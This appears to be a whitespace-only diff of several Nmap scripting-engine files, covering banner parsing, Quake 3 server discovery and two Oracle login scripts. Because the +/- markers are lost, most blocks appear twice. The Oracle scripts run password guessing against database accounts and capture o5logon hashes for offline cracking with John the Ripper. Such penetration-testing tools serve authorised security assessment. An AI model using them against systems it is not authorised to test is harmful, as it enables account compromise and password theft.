end
local function formatvalue(key, nson)
local value
if key == "your_address" then
value = formataddress(nson)
elseif key == "timestamp" then
value = formattime(nson)
else
value = parsesimple(nson)
end
if not value then
value = "<" .. #nson .. "B of data>"
end
return value
local value
if key == "your_address" then
value = formataddress(nson)
elseif key == "timestamp" then
value = formattime(nson)
else
value = parsesimple(nson)
end
if not value then
value = "<" .. #nson .. "B of data>"
end
return value
end
local function format(rawkey, nson)
local key = formatkey(rawkey)
local value = formatvalue(rawkey, nson)
return key .. ": " .. value
local key = formatkey(rawkey)
local value = formatvalue(rawkey, nson)
return key .. ": " .. value
end
function formatoptions(header)
local msg = parsedict(header)
if not msg then
return
end
local rawmeth = msg["method"]
if not rawmeth then
stdnse.print_debug(2, "header missing method field")
return
end
local method = parsestring(rawmeth)
if not method then
return
end
if method ~= "hello" then
stdnse.print_debug(1, "expecting hello, got " .. method .. " instead")
return
end
local rawopts = msg["options"]
if not rawopts then
return {}
end
local options = parsedict(rawopts)
if not options then
return
end
local formatted = {}
for key, nson in pairs(options) do
local tmp = format(key, nson)
if tmp then
table.insert(formatted, tmp)
end
end
return formatted
local msg = parsedict(header)
if not msg then
return
end
local rawmeth = msg["method"]
if not rawmeth then
stdnse.print_debug(2, "header missing method field")
return
end
local method = parsestring(rawmeth)
if not method then
return
end
if method ~= "hello" then
stdnse.print_debug(1, "expecting hello, got " .. method .. " instead")
return
end
local rawopts = msg["options"]
if not rawopts then
return {}
end
local options = parsedict(rawopts)
if not options then
return
end
local formatted = {}
for key, nson in pairs(options) do
local tmp = format(key, nson)
if tmp then
table.insert(formatted, tmp)
end
end
return formatted
end
action = function(host, port)
local status, banner = comm.get_banner(host, port)
if not status then
return
end
local header, _ = parsechunk(banner)
if not header then
return
end
local options = formatoptions(header)
if not options then
return
end
port.version.name = "openlookup"
local version = options["version"]
if version then
port.version.version = version
end
nmap.set_port_version(host, port)
if #options < 1 then
return
end
local response = {}
table.insert(response, options)
return stdnse.format_output(true, response)
local status, banner = comm.get_banner(host, port)
if not status then
return
end
local header, _ = parsechunk(banner)
if not header then
return
end
local options = formatoptions(header)
if not options then
return
end
port.version.name = "openlookup"
local version = options["version"]
if version then
port.version.version = version
end
nmap.set_port_version(host, port)
if #options < 1 then
return
end
local response = {}
table.insert(response, options)
return stdnse.format_output(true, response)
end

View File

@@ -63,141 +63,141 @@ local johnfile
Driver =
{
new = function(self, host, port, sid )
local o = { host = host, port = port, sid = sid }
setmetatable(o, self)
self.__index = self
return o
end,
new = function(self, host, port, sid )
local o = { host = host, port = port, sid = sid }
setmetatable(o, self)
self.__index = self
return o
end,
--- Connects performs protocol negotiation
--
-- @return true on success, false on failure
connect = function( self )
local MAX_RETRIES = 10
local tries = MAX_RETRIES
--- Connects performs protocol negotiation
--
-- @return true on success, false on failure
connect = function( self )
local MAX_RETRIES = 10
local tries = MAX_RETRIES
self.helper = ConnectionPool[coroutine.running()]
if ( self.helper ) then return true end
self.helper = ConnectionPool[coroutine.running()]
if ( self.helper ) then return true end
self.helper = tns.Helper:new( self.host, self.port, self.sid )
self.helper = tns.Helper:new( self.host, self.port, self.sid )
-- This loop is intended for handling failed connections
-- A connection may fail for a number of different reasons.
-- For the moment, we're just handling the error code 12520
--
-- Error 12520 has been observed on Oracle XE and seems to
-- occur when a maximum connection count is reached.
local status, data
repeat
if ( tries < MAX_RETRIES ) then
stdnse.print_debug(2, "%s: Attempting to re-connect (attempt %d of %d)", SCRIPT_NAME, MAX_RETRIES - tries, MAX_RETRIES)
end
status, data = self.helper:Connect()
if ( not(status) ) then
stdnse.print_debug(2, "%s: ERROR: An Oracle %s error occured", SCRIPT_NAME, data)
self.helper:Close()
else
break
end
tries = tries - 1
stdnse.sleep(1)
until( tries == 0 or data ~= "12520" )
-- This loop is intended for handling failed connections
-- A connection may fail for a number of different reasons.
-- For the moment, we're just handling the error code 12520
--
-- Error 12520 has been observed on Oracle XE and seems to
-- occur when a maximum connection count is reached.
local status, data
repeat
if ( tries < MAX_RETRIES ) then
stdnse.print_debug(2, "%s: Attempting to re-connect (attempt %d of %d)", SCRIPT_NAME, MAX_RETRIES - tries, MAX_RETRIES)
end
status, data = self.helper:Connect()
if ( not(status) ) then
stdnse.print_debug(2, "%s: ERROR: An Oracle %s error occured", SCRIPT_NAME, data)
self.helper:Close()
else
break
end
tries = tries - 1
stdnse.sleep(1)
until( tries == 0 or data ~= "12520" )
if ( status ) then
ConnectionPool[coroutine.running()] = self.helper
end
if ( status ) then
ConnectionPool[coroutine.running()] = self.helper
end
return status, data
end,
return status, data
end,
--- Attempts to login to the Oracle server
--
-- @param username string containing the login username
-- @param password string containing the login password
-- @return status, true on success, false on failure
-- @return brute.Error object on failure
-- brute.Account object on success
login = function( self, username, password )
local status, data = self.helper:StealthLogin( username, password )
--- Attempts to login to the Oracle server
--
-- @param username string containing the login username
-- @param password string containing the login password
-- @return status, true on success, false on failure
-- @return brute.Error object on failure
-- brute.Account object on success
login = function( self, username, password )
local status, data = self.helper:StealthLogin( username, password )
if ( data["AUTH_VFR_DATA"] ) then
local hash = string.format("$o5logon$%s*%s", data["AUTH_SESSKEY"], data["AUTH_VFR_DATA"])
if ( johnfile ) then
johnfile:write(("%s:%s\n"):format(username,hash))
end
return true, brute.Account:new(username, hash, creds.State.HASHED)
else
return false, brute.Error:new( data )
end
if ( data["AUTH_VFR_DATA"] ) then
local hash = string.format("$o5logon$%s*%s", data["AUTH_SESSKEY"], data["AUTH_VFR_DATA"])
if ( johnfile ) then
johnfile:write(("%s:%s\n"):format(username,hash))
end
return true, brute.Account:new(username, hash, creds.State.HASHED)
else
return false, brute.Error:new( data )
end
end,
end,
--- Disconnects and terminates the Oracle TNS communication
disconnect = function( self )
return true
end,
--- Disconnects and terminates the Oracle TNS communication
disconnect = function( self )
return true
end,
}
action = function(host, port)
local DEFAULT_ACCOUNTS = "nselib/data/oracle-default-accounts.lst"
local sid = stdnse.get_script_args(SCRIPT_NAME .. '.sid') or stdnse.get_script_args('tns.sid')
local engine = brute.Engine:new(Driver, host, port, sid)
local arg_accounts = stdnse.get_script_args(SCRIPT_NAME .. '.accounts')
local mode = arg_accounts and "accounts" or "default"
local DEFAULT_ACCOUNTS = "nselib/data/oracle-default-accounts.lst"
local sid = stdnse.get_script_args(SCRIPT_NAME .. '.sid') or stdnse.get_script_args('tns.sid')
local engine = brute.Engine:new(Driver, host, port, sid)
local arg_accounts = stdnse.get_script_args(SCRIPT_NAME .. '.accounts')
local mode = arg_accounts and "accounts" or "default"
if ( not(sid) ) then
return "\n ERROR: Oracle instance not set (see oracle-brute-stealth.sid or tns.sid)"
end
if ( not(sid) ) then
return "\n ERROR: Oracle instance not set (see oracle-brute-stealth.sid or tns.sid)"
end
if ( arg_johnfile ) then
johnfile = io.open(arg_johnfile, "w")
if ( not(johnfile) ) then
return ("\n ERROR: Failed to open %s for writing"):format(johnfile)
end
end
if ( arg_johnfile ) then
johnfile = io.open(arg_johnfile, "w")
if ( not(johnfile) ) then
return ("\n ERROR: Failed to open %s for writing"):format(johnfile)
end
end
local helper = tns.Helper:new( host, port, sid )
local status, result = helper:Connect()
if ( not(status) ) then
return "\n ERROR: Failed to connect to oracle server"
end
helper:Close()
local helper = tns.Helper:new( host, port, sid )
local status, result = helper:Connect()
if ( not(status) ) then
return "\n ERROR: Failed to connect to oracle server"
end
helper:Close()
if ( stdnse.get_script_args('userdb') or
stdnse.get_script_args('passdb') or
stdnse.get_script_args('oracle-brute-stealth.nodefault') or
stdnse.get_script_args('brute.credfile') ) then
mode = nil
end
if ( stdnse.get_script_args('userdb') or
stdnse.get_script_args('passdb') or
stdnse.get_script_args('oracle-brute-stealth.nodefault') or
stdnse.get_script_args('brute.credfile') ) then
mode = nil
end
if ( mode == "default" ) then
local f = nmap.fetchfile(DEFAULT_ACCOUNTS)
if ( not(f) ) then
return ("\n ERROR: Failed to find %s"):format(DEFAULT_ACCOUNTS)
end
if ( mode == "default" ) then
local f = nmap.fetchfile(DEFAULT_ACCOUNTS)
if ( not(f) ) then
return ("\n ERROR: Failed to find %s"):format(DEFAULT_ACCOUNTS)
end
f = io.open(f)
if ( not(f) ) then
return ("\n ERROR: Failed to open %s"):format(DEFAULT_ACCOUNTS)
end
f = io.open(f)
if ( not(f) ) then
return ("\n ERROR: Failed to open %s"):format(DEFAULT_ACCOUNTS)
end
engine.iterator = brute.Iterators.credential_iterator(f)
elseif( "accounts" == mode ) then
engine.iterator = unpwdb.table_iterator(stdnse.strsplit(",%s*", arg_accounts))
end
engine.iterator = brute.Iterators.credential_iterator(f)
elseif( "accounts" == mode ) then
engine.iterator = unpwdb.table_iterator(stdnse.strsplit(",%s*", arg_accounts))
end
engine.options.useraspass = false
engine.options.mode = "user"
engine.options.script_name = SCRIPT_NAME
status, result = engine:start()
engine.options.useraspass = false
engine.options.mode = "user"
engine.options.script_name = SCRIPT_NAME
status, result = engine:start()
if ( johnfile ) then
johnfile:close()
end
if ( johnfile ) then
johnfile:close()
end
return result
return result
end

View File

@@ -52,13 +52,13 @@ result in a large number of accounts being locked out on the database server.
-- Version 0.3
-- Created 07/12/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
-- Revised 07/23/2010 - v0.2 - added script usage and output and
-- - oracle-brute.sid argument
-- - oracle-brute.sid argument
-- Revised 07/25/2011 - v0.3 - added support for guessing default accounts
-- changed code to use ConnectionPool
-- Revised 03/13/2012 - v0.4 - revised by L<>szl<7A> T<>th
-- added support for SYSDBA accounts
-- Revised 08/07/2012 - v0.5 - revised to suit the changes in brute
-- library [Aleksandar Nikolic]
-- library [Aleksandar Nikolic]
--
-- Summary
@@ -79,147 +79,147 @@ local sysdba = {}
Driver =
{
new = function(self, host, port, sid )
local o = { host = host, port = port, sid = sid }
setmetatable(o, self)
self.__index = self
return o
end,
new = function(self, host, port, sid )
local o = { host = host, port = port, sid = sid }
setmetatable(o, self)
self.__index = self
return o
end,
--- Connects performs protocol negotiation
--
-- @return true on success, false on failure
connect = function( self )
local MAX_RETRIES = 10
local tries = MAX_RETRIES
--- Connects performs protocol negotiation
--
-- @return true on success, false on failure
connect = function( self )
local MAX_RETRIES = 10
local tries = MAX_RETRIES
self.helper = ConnectionPool[coroutine.running()]
if ( self.helper ) then return true end
self.helper = ConnectionPool[coroutine.running()]
if ( self.helper ) then return true end
self.helper = tns.Helper:new( self.host, self.port, self.sid )
self.helper = tns.Helper:new( self.host, self.port, self.sid )
-- This loop is intended for handling failed connections
-- A connection may fail for a number of different reasons.
-- For the moment, we're just handling the error code 12520
--
-- Error 12520 has been observed on Oracle XE and seems to
-- occur when a maximum connection count is reached.
local status, data
repeat
if ( tries < MAX_RETRIES ) then
stdnse.print_debug(2, "%s: Attempting to re-connect (attempt %d of %d)", SCRIPT_NAME, MAX_RETRIES - tries, MAX_RETRIES)
end
status, data = self.helper:Connect()
if ( not(status) ) then
stdnse.print_debug(2, "%s: ERROR: An Oracle %s error occured", SCRIPT_NAME, data)
self.helper:Close()
else
break
end
tries = tries - 1
stdnse.sleep(1)
until( tries == 0 or data ~= "12520" )
-- This loop is intended for handling failed connections
-- A connection may fail for a number of different reasons.
-- For the moment, we're just handling the error code 12520
--
-- Error 12520 has been observed on Oracle XE and seems to
-- occur when a maximum connection count is reached.
local status, data
repeat
if ( tries < MAX_RETRIES ) then
stdnse.print_debug(2, "%s: Attempting to re-connect (attempt %d of %d)", SCRIPT_NAME, MAX_RETRIES - tries, MAX_RETRIES)
end
status, data = self.helper:Connect()
if ( not(status) ) then
stdnse.print_debug(2, "%s: ERROR: An Oracle %s error occured", SCRIPT_NAME, data)
self.helper:Close()
else
break
end
tries = tries - 1
stdnse.sleep(1)
until( tries == 0 or data ~= "12520" )
if ( status ) then
ConnectionPool[coroutine.running()] = self.helper
end
if ( status ) then
ConnectionPool[coroutine.running()] = self.helper
end
return status, data
end,
return status, data
end,
--- Attempts to login to the Oracle server
--
-- @param username string containing the login username
-- @param password string containing the login password
-- @return status, true on success, false on failure
-- @return brute.Error object on failure
-- brute.Account object on success
login = function( self, username, password )
local status, data = self.helper:Login( username, password )
--- Attempts to login to the Oracle server
--
-- @param username string containing the login username
-- @param password string containing the login password
-- @return status, true on success, false on failure
-- @return brute.Error object on failure
-- brute.Account object on success
login = function( self, username, password )
local status, data = self.helper:Login( username, password )
if ( sysdba[username] ) then
return false, brute.Error:new("Account already discovered")
end
if ( sysdba[username] ) then
return false, brute.Error:new("Account already discovered")
end
if ( status ) then
self.helper:Close()
ConnectionPool[coroutine.running()] = nil
return true, brute.Account:new(username, password, creds.State.VALID)
-- Check for account locked message
elseif ( data:match("ORA[-]28000") ) then
return true, brute.Account:new(username, password, creds.State.LOCKED)
-- Check for account is SYSDBA message
elseif ( data:match("ORA[-]28009") ) then
sysdba[username] = true
return true, brute.Account:new(username .. " as sysdba", password, creds.State.VALID)
-- check for any other message
elseif ( data:match("ORA[-]%d+")) then
stdnse.print_debug(3, "username: %s, password: %s, error: %s", username, password, data )
return false, brute.Error:new(data)
-- any other errors are likely communication related, attempt to re-try
else
self.helper:Close()
ConnectionPool[coroutine.running()] = nil
local err = brute.Error:new(data)
err:setRetry(true)
return false, err
end
if ( status ) then
self.helper:Close()
ConnectionPool[coroutine.running()] = nil
return true, brute.Account:new(username, password, creds.State.VALID)
-- Check for account locked message
elseif ( data:match("ORA[-]28000") ) then
return true, brute.Account:new(username, password, creds.State.LOCKED)
-- Check for account is SYSDBA message
elseif ( data:match("ORA[-]28009") ) then
sysdba[username] = true
return true, brute.Account:new(username .. " as sysdba", password, creds.State.VALID)
-- check for any other message
elseif ( data:match("ORA[-]%d+")) then
stdnse.print_debug(3, "username: %s, password: %s, error: %s", username, password, data )
return false, brute.Error:new(data)
-- any other errors are likely communication related, attempt to re-try
else
self.helper:Close()
ConnectionPool[coroutine.running()] = nil
local err = brute.Error:new(data)
err:setRetry(true)
return false, err
end
return false, brute.Error:new( data )
return false, brute.Error:new( data )
end,
end,
--- Disconnects and terminates the Oracle TNS communication
disconnect = function( self )
return true
end,
--- Disconnects and terminates the Oracle TNS communication
disconnect = function( self )
return true
end,
}
action = function(host, port)
local DEFAULT_ACCOUNTS = "nselib/data/oracle-default-accounts.lst"
local sid = stdnse.get_script_args('oracle-brute.sid') or
stdnse.get_script_args('tns.sid')
local engine = brute.Engine:new(Driver, host, port, sid)
local mode = "default"
local DEFAULT_ACCOUNTS = "nselib/data/oracle-default-accounts.lst"
local sid = stdnse.get_script_args('oracle-brute.sid') or
stdnse.get_script_args('tns.sid')
local engine = brute.Engine:new(Driver, host, port, sid)
local mode = "default"
if ( not(sid) ) then
return "\n ERROR: Oracle instance not set (see oracle-brute.sid or tns.sid)"
end
if ( not(sid) ) then
return "\n ERROR: Oracle instance not set (see oracle-brute.sid or tns.sid)"
end
local helper = tns.Helper:new( host, port, sid )
local status, result = helper:Connect()
if ( not(status) ) then
return "\n ERROR: Failed to connect to oracle server"
end
helper:Close()
local helper = tns.Helper:new( host, port, sid )
local status, result = helper:Connect()
if ( not(status) ) then
return "\n ERROR: Failed to connect to oracle server"
end
helper:Close()
local f
local f
if ( stdnse.get_script_args('userdb') or
stdnse.get_script_args('passdb') or
stdnse.get_script_args('oracle-brute.nodefault') or
stdnse.get_script_args('brute.credfile') ) then
mode = nil
end
if ( stdnse.get_script_args('userdb') or
stdnse.get_script_args('passdb') or
stdnse.get_script_args('oracle-brute.nodefault') or
stdnse.get_script_args('brute.credfile') ) then
mode = nil
end
if ( mode == "default" ) then
f = nmap.fetchfile(DEFAULT_ACCOUNTS)
if ( not(f) ) then
return ("\n ERROR: Failed to find %s"):format(DEFAULT_ACCOUNTS)
end
if ( mode == "default" ) then
f = nmap.fetchfile(DEFAULT_ACCOUNTS)
if ( not(f) ) then
return ("\n ERROR: Failed to find %s"):format(DEFAULT_ACCOUNTS)
end
f = io.open(f)
if ( not(f) ) then
return ("\n ERROR: Failed to open %s"):format(DEFAULT_ACCOUNTS)
end
f = io.open(f)
if ( not(f) ) then
return ("\n ERROR: Failed to open %s"):format(DEFAULT_ACCOUNTS)
end
engine.iterator = brute.Iterators.credential_iterator(f)
end
engine.iterator = brute.Iterators.credential_iterator(f)
end
engine.options.script_name = SCRIPT_NAME
status, result = engine:start()
engine.options.script_name = SCRIPT_NAME
status, result = engine:start()
return result
return result
end

View File

@@ -69,188 +69,188 @@ categories = {"default", "discovery", "safe", "version"}
local function range(first, last)
local list = {}
for i = first, last do
table.insert(list, i)
end
return list
local list = {}
for i = first, last do
table.insert(list, i)
end
return list
end
portrule = shortport.port_or_service(range(27960, 27970), {'quake3'}, 'udp')
local function parsefields(data)
local fields = {}
local parts = stdnse.strsplit("\\", data)
local nullprefix = table.remove(parts, 1)
if nullprefix ~= "" then
stdnse.print_debug(2, "unrecognized field format, skipping options")
return {}
end
for i = 1, #parts, 2 do
local key = parts[i]
local value = parts[i + 1]
fields[key] = value
end
return fields
local fields = {}
local parts = stdnse.strsplit("\\", data)
local nullprefix = table.remove(parts, 1)
if nullprefix ~= "" then
stdnse.print_debug(2, "unrecognized field format, skipping options")
return {}
end
for i = 1, #parts, 2 do
local key = parts[i]
local value = parts[i + 1]
fields[key] = value
end
return fields
end
local function parsename(data)
local parts = stdnse.strsplit('"', data)
if #parts ~= 3 then
return nil
end
local e1 = parts[1]
local name = parts[2]
local e2 = parts[3]
local extra = e1 .. e2
if extra ~= "" then
return nil
end
return name
local parts = stdnse.strsplit('"', data)
if #parts ~= 3 then
return nil
end
local e1 = parts[1]
local name = parts[2]
local e2 = parts[3]
local extra = e1 .. e2
if extra ~= "" then
return nil
end
return name
end
local function parseplayer(data)
local parts = stdnse.strsplit(" ", data)
if #parts < 3 then
stdnse.print_debug(2, "player info line is missing elements, skipping a player")
return nil
end
if #parts > 3 then
stdnse.print_debug(2, "player info line has unknown elements, skipping a player")
return nil
end
local player = {}
player.frags = parts[1]
player.ping = parts[2]
player.name = parsename(parts[3])
if player.name == nil then
stdnse.print_debug(2, "invalid player name serialization, skipping a player")
return nil
end
return player
local parts = stdnse.strsplit(" ", data)
if #parts < 3 then
stdnse.print_debug(2, "player info line is missing elements, skipping a player")
return nil
end
if #parts > 3 then
stdnse.print_debug(2, "player info line has unknown elements, skipping a player")
return nil
end
local player = {}
player.frags = parts[1]
player.ping = parts[2]
player.name = parsename(parts[3])
if player.name == nil then
stdnse.print_debug(2, "invalid player name serialization, skipping a player")
return nil
end
return player
end
local function parseplayers(data)
local players = {}
for _, p in ipairs(data) do
local player = parseplayer(p)
if player then
table.insert(players, player)
end
end
return players
local players = {}
for _, p in ipairs(data) do
local player = parseplayer(p)
if player then
table.insert(players, player)
end
end
return players
end
local function is_leader(a, b)
local collide = a.name == b.name
local even = a.frags == b.frags
local leads = a.frags > b.frags
local alphab = a.name > b.name
local faster = a.ping > b.ping
return leads or (even and alphab) or (even and collide and faster)
local collide = a.name == b.name
local even = a.frags == b.frags
local leads = a.frags > b.frags
local alphab = a.name > b.name
local faster = a.ping > b.ping
return leads or (even and alphab) or (even and collide and faster)
end
local function formatplayers(players, fraglimit)
table.sort(players, is_leader)
local printable = {}
for i, player in ipairs(players) do
local name = player.name
local ping = player.ping
local frags = player.frags
if fraglimit then
frags = string.format("%s/%s", frags, fraglimit)
end
table.insert(printable, string.format("%d. %s (frags: %s, ping: %s)", i, name, frags, ping))
end
printable["name"] = "PLAYERS:"
return printable
table.sort(players, is_leader)
local printable = {}
for i, player in ipairs(players) do
local name = player.name
local ping = player.ping
local frags = player.frags
if fraglimit then
frags = string.format("%s/%s", frags, fraglimit)
end
table.insert(printable, string.format("%d. %s (frags: %s, ping: %s)", i, name, frags, ping))
end
printable["name"] = "PLAYERS:"
return printable
end
local function formatfields(fields, title)
local printable = {}
for key, value in pairs(fields) do
local kv = string.format("%s: %s", key, value)
table.insert(printable, kv)
end
table.sort(printable)
printable["name"] = title
return printable
local printable = {}
for key, value in pairs(fields) do
local kv = string.format("%s: %s", key, value)
table.insert(printable, kv)
end
table.sort(printable)
printable["name"] = title
return printable
end
local function assorted(fields)
local basic = {}
local other = {}
for key, value in pairs(fields) do
if string.find(key, "_") == nil then
basic[key] = value
else
other[key] = value
end
end
return basic, other
local basic = {}
local other = {}
for key, value in pairs(fields) do
if string.find(key, "_") == nil then
basic[key] = value
else
other[key] = value
end
end
return basic, other
end
action = function(host, port)
local GETSTATUS = bin.pack("CCCCA", 0xff, 0xff, 0xff, 0xff, "getstatus\n")
local STATUSRESP = bin.pack("CCCCA", 0xff, 0xff, 0xff, 0xff, "statusResponse")
local GETSTATUS = bin.pack("CCCCA", 0xff, 0xff, 0xff, 0xff, "getstatus\n")
local STATUSRESP = bin.pack("CCCCA", 0xff, 0xff, 0xff, 0xff, "statusResponse")
local status, data = comm.exchange(host, port, GETSTATUS, {["proto"] = "udp"})
if not status then
return
end
local parts = stdnse.strsplit("\n", data)
local header = table.remove(parts, 1)
if header ~= STATUSRESP then
return
end
if #parts < 2 then
stdnse.print_debug(2, "incomplete status response, script abort")
return
end
local nullend = table.remove(parts)
if nullend ~= "" then
stdnse.print_debug(2, "missing terminating endline, script abort")
return
end
local field_data = table.remove(parts, 1)
local player_data = parts
local status, data = comm.exchange(host, port, GETSTATUS, {["proto"] = "udp"})
if not status then
return
end
local parts = stdnse.strsplit("\n", data)
local header = table.remove(parts, 1)
if header ~= STATUSRESP then
return
end
if #parts < 2 then
stdnse.print_debug(2, "incomplete status response, script abort")
return
end
local nullend = table.remove(parts)
if nullend ~= "" then
stdnse.print_debug(2, "missing terminating endline, script abort")
return
end
local field_data = table.remove(parts, 1)
local player_data = parts
local fields = parsefields(field_data)
local players = parseplayers(player_data)
local fields = parsefields(field_data)
local players = parseplayers(player_data)
local basic, other = assorted(fields)
local basic, other = assorted(fields)
-- Previously observed version strings:
-- "tremulous 1.1.0 linux-x86_64 Aug  5 2010"
-- "ioq3 1.36+svn1933-1/Ubuntu linux-x86_64 Apr  4 2011"
local versionline = basic["version"]
if versionline then
local fields = stdnse.strsplit(" ", versionline)
local product = fields[1]
local version = fields[2]
local osline = fields[3]
port.version.name = "quake3"
port.version.product = product
port.version.version = version
if string.find(osline, "linux") then
port.version.ostype = "Linux"
end
if string.find(osline, "win") then
port.version.ostype = "Windows"
end
nmap.set_port_version(host, port)
end
-- Previously observed version strings:
-- "tremulous 1.1.0 linux-x86_64 Aug  5 2010"
-- "ioq3 1.36+svn1933-1/Ubuntu linux-x86_64 Apr  4 2011"
local versionline = basic["version"]
if versionline then
local fields = stdnse.strsplit(" ", versionline)
local product = fields[1]
local version = fields[2]
local osline = fields[3]
port.version.name = "quake3"
port.version.product = product
port.version.version = version
if string.find(osline, "linux") then
port.version.ostype = "Linux"
end
if string.find(osline, "win") then
port.version.ostype = "Windows"
end
nmap.set_port_version(host, port)
end
local fraglimit = fields["fraglimit"]
if not fraglimit then
fraglimit = "?"
end
local fraglimit = fields["fraglimit"]
if not fraglimit then
fraglimit = "?"
end
local response = {}
table.insert(response, formatplayers(players, fraglimit))
table.insert(response, formatfields(basic, "BASIC OPTIONS:"))
if nmap.verbosity() > 0 then
table.insert(response, formatfields(other, "OTHER OPTIONS:"))
end
return stdnse.format_output(true, response)
local response = {}
table.insert(response, formatplayers(players, fraglimit))
table.insert(response, formatfields(basic, "BASIC OPTIONS:"))
if nmap.verbosity() > 0 then
table.insert(response, formatfields(other, "OTHER OPTIONS:"))
end
return stdnse.format_output(true, response)
end

View File

@@ -30,7 +30,7 @@ categories = {"default", "discovery", "safe"}
portrule = shortport.port_or_service ({20110, 20510, 27950, 30710}, "quake3-master", {"udp"})
postrule = function()
return (nmap.registry.q3m_servers ~= nil)
return (nmap.registry.q3m_servers ~= nil)
end
-- There are various sources for this information. These include:
@@ -41,213 +41,213 @@ end
-- - scanning master servers
-- - looking at game traffic with Wireshark
local KNOWN_PROTOCOLS = {
["5"] = "Call of Duty",
["10"] = "unknown",
["43"] = "unknown",
["48"] = "unknown",
["50"] = "Return to Castle Wolfenstein",
["57"] = "unknown",
["59"] = "Return to Castle Wolfenstein",
["60"] = "Return to Castle Wolfenstein",
["66"] = "Quake III Arena",
["67"] = "Quake III Arena",
["68"] = "Quake III Arena, or Urban Terror",
["69"] = "OpenArena, or Tremulous",
["70"] = "unknown",
["71"] = "OpenArena",
["72"] = "Wolfenstein: Enemy Territory",
["80"] = "Wolfenstein: Enemy Territory",
["83"] = "Wolfenstein: Enemy Territory",
["84"] = "Wolfenstein: Enemy Territory",
["2003"] = "Soldier of Fortune II: Double Helix",
["2004"] = "Soldier of Fortune II: Double Helix",
["DarkPlaces-Quake 3"] = "DarkPlaces Quake",
["Nexuiz 3"] = "Nexuiz",
["Transfusion 3"] = "Transfusion",
["Warsow 8"] = "Warsow",
["Xonotic 3"] = "Xonotic",
["5"] = "Call of Duty",
["10"] = "unknown",
["43"] = "unknown",
["48"] = "unknown",
["50"] = "Return to Castle Wolfenstein",
["57"] = "unknown",
["59"] = "Return to Castle Wolfenstein",
["60"] = "Return to Castle Wolfenstein",
["66"] = "Quake III Arena",
["67"] = "Quake III Arena",
["68"] = "Quake III Arena, or Urban Terror",
["69"] = "OpenArena, or Tremulous",
["70"] = "unknown",
["71"] = "OpenArena",
["72"] = "Wolfenstein: Enemy Territory",
["80"] = "Wolfenstein: Enemy Territory",
["83"] = "Wolfenstein: Enemy Territory",
["84"] = "Wolfenstein: Enemy Territory",
["2003"] = "Soldier of Fortune II: Double Helix",
["2004"] = "Soldier of Fortune II: Double Helix",
["DarkPlaces-Quake 3"] = "DarkPlaces Quake",
["Nexuiz 3"] = "Nexuiz",
["Transfusion 3"] = "Transfusion",
["Warsow 8"] = "Warsow",
["Xonotic 3"] = "Xonotic",
}
local function getservers(host, port, q3protocol)
local socket = nmap.new_socket()
socket:set_timeout(10000)
local status, err = socket:connect(host.ip, port.number, "udp")
if not status then
return {}
end
local probe = bin.pack("CCCCA", 0xff, 0xff, 0xff, 0xff, string.format("getservers %s empty full\n", q3protocol))
socket:send(probe)
local socket = nmap.new_socket()
socket:set_timeout(10000)
local status, err = socket:connect(host.ip, port.number, "udp")
if not status then
return {}
end
local probe = bin.pack("CCCCA", 0xff, 0xff, 0xff, 0xff, string.format("getservers %s empty full\n", q3protocol))
socket:send(probe)
local data
status, data = socket:receive() -- get some data
if not status then
return {}
end
nmap.set_port_state(host, port, "open")
status, data = socket:receive() -- get some data
if not status then
return {}
end
nmap.set_port_state(host, port, "open")
local magic = bin.pack("CCCCA", 0xff, 0xff, 0xff, 0xff, "getserversResponse")
local tmp
while #data < #magic do -- get header
status, tmp = socket:receive()
if status then
data = data .. tmp
end
end
if string.sub(data, 1, #magic) ~= magic then -- no match
return {}
end
local magic = bin.pack("CCCCA", 0xff, 0xff, 0xff, 0xff, "getserversResponse")
local tmp
while #data < #magic do -- get header
status, tmp = socket:receive()
if status then
data = data .. tmp
end
end
if string.sub(data, 1, #magic) ~= magic then -- no match
return {}
end
port.version.name = "quake3-master"
nmap.set_port_version(host, port)
port.version.name = "quake3-master"
nmap.set_port_version(host, port)
local EOT = bin.pack("ACCC", "EOT", 0, 0, 0)
local pieces = stdnse.strsplit("\\", data)
while pieces[#pieces] ~= EOT do -- get all data
status, tmp = socket:receive()
if status then
data = data .. tmp
pieces = stdnse.strsplit("\\", data)
end
end
local EOT = bin.pack("ACCC", "EOT", 0, 0, 0)
local pieces = stdnse.strsplit("\\", data)
while pieces[#pieces] ~= EOT do -- get all data
status, tmp = socket:receive()
if status then
data = data .. tmp
pieces = stdnse.strsplit("\\", data)
end
end
table.remove(pieces, 1) --remove magic
table.remove(pieces, #pieces) --remove EOT
table.remove(pieces, 1) --remove magic
table.remove(pieces, #pieces) --remove EOT
local servers = {}
for _, value in ipairs(pieces) do
local parts = {bin.unpack("CCCC>S", value)}
if #parts > 5 then
local o1 = parts[2]
local o2 = parts[3]
local o3 = parts[4]
local o4 = parts[5]
local p = parts[6]
table.insert(servers, {string.format("%d.%d.%d.%d", o1, o2, o3, o4), p})
end
end
socket:close()
return servers
local servers = {}
for _, value in ipairs(pieces) do
local parts = {bin.unpack("CCCC>S", value)}
if #parts > 5 then
local o1 = parts[2]
local o2 = parts[3]
local o3 = parts[4]
local o4 = parts[5]
local p = parts[6]
table.insert(servers, {string.format("%d.%d.%d.%d", o1, o2, o3, o4), p})
end
end
socket:close()
return servers
end
local function formatresult(servers, outputlimit, protocols)
local t = tab.new()
local t = tab.new()
if not outputlimit then
outputlimit = #servers
end
for i = 1, outputlimit do
if not servers[i] then
break
end
local node = servers[i]
local protocol = node.protocol
local ip = node.ip
local portnum = node.port
tab.addrow(t, string.format('%s:%d', ip, portnum), string.format('%s (%s)', protocols[protocol], protocol))
end
if not outputlimit then
outputlimit = #servers
end
for i = 1, outputlimit do
if not servers[i] then
break
end
local node = servers[i]
local protocol = node.protocol
local ip = node.ip
local portnum = node.port
tab.addrow(t, string.format('%s:%d', ip, portnum), string.format('%s (%s)', protocols[protocol], protocol))
end
return tab.dump(t)
return tab.dump(t)
end
local function dropdupes(tables, stringify)
local unique = {}
local dupe = {}
local s
for _, v in ipairs(tables) do
s = stringify(v)
if not dupe[s] then
table.insert(unique, v)
dupe[s] = true
end
end
return unique
local unique = {}
local dupe = {}
local s
for _, v in ipairs(tables) do
s = stringify(v)
if not dupe[s] then
table.insert(unique, v)
dupe[s] = true
end
end
return unique
end
local function scan(host, port, protocols)
local discovered = {}
for protocol, _ in pairs(protocols) do
for _, node in ipairs(getservers(host, port, protocol)) do
local entry = {
protocol = protocol,
ip = node[1],
port = node[2],
masterip = host.ip,
masterport = port.number
}
table.insert(discovered, entry)
end
end
return discovered
local discovered = {}
for protocol, _ in pairs(protocols) do
